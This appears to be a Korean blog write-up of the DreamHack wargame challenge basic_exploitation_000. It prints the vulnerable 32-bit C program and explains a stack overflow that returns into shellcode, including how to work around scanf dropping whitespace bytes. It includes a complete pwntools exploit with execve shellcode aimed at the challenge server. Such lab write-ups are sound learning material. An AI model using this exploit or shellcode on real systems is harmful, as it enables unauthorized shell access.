CIDY
[System_Hacking] stage5_문제풀이(basic_exploitation_000) 본문
//32-bit
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
보호기법이 싹 안걸려있다. (주석 참고) -> nx안걸려있으니 쉘코드 쓰자
버퍼 크기가 0x80 == 128인데 141만큼 입력을 받는다. 13바이트만큼 오버플로우를 일으킬 수 있는데 32비트에 카나리같은것도 없으니 그정도면 충분하다.
계획 : 출력해주는 버퍼 주소 받기 -> 버퍼에 쉘코드 세팅하고 NOP 좀 깔기 -> 출력받은 주소로 ret시키기
코드는 잘 짰는데 계속 쉘이 안따여서 결국 디버깅을 해봤다. 스택을 열어보면 맨 위에껀 아직 정리 덜 된 scanf의 스택 프레임(매개변수)이 보이고, 그다음부터 쭉 nop이 깔리다가... 쉘코드 중간쯤 가서 더이상 입력이 제대로 되지 않았다. 앞쪽 NOP의 수를 조정해봐도 항상 쉘코드의 \x0b부터 들어가지 않는다.
-> 그 이유는 입력을 sacnf로 받기 때문이다. scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20을 읽지 못한다. 그래서 딱 \x0b부터 잘린 것.
-> scanf우회 쉘코드를 써주면 된다. ↓
https://orcinus-orca.tistory.com/5
from pwn import *
r = remote("host3.dreamhack.games", 11512)
r.recvuntil(b"buf = (0x")
buf = int(r.recvline()[:-2], 16)
pay = b"\x90" * 0x20
pay += b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
pay += b"\x90" * (0x80 - len(pay))
pay += b"A" * 0x4
pay += p32(buf)
r.sendline(pay)
r.interactive()
그냥 쭉쭉 넣어주면 됨.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage6_문제풀이(Return to Shellcode) (0) | 2022.07.02 |
---|---|
[System_Hacking] stage5_문제풀이(basic_exploitation_001) (0) | 2022.07.01 |
[System_Hacking] stage5_문제풀이(RAO) (0) | 2022.07.01 |
[System_Hacking] stage5_SYSV디버깅 (0) | 2022.07.01 |
[System_Hacking] stage4_문제풀이(shell_basic) (0) | 2022.07.01 |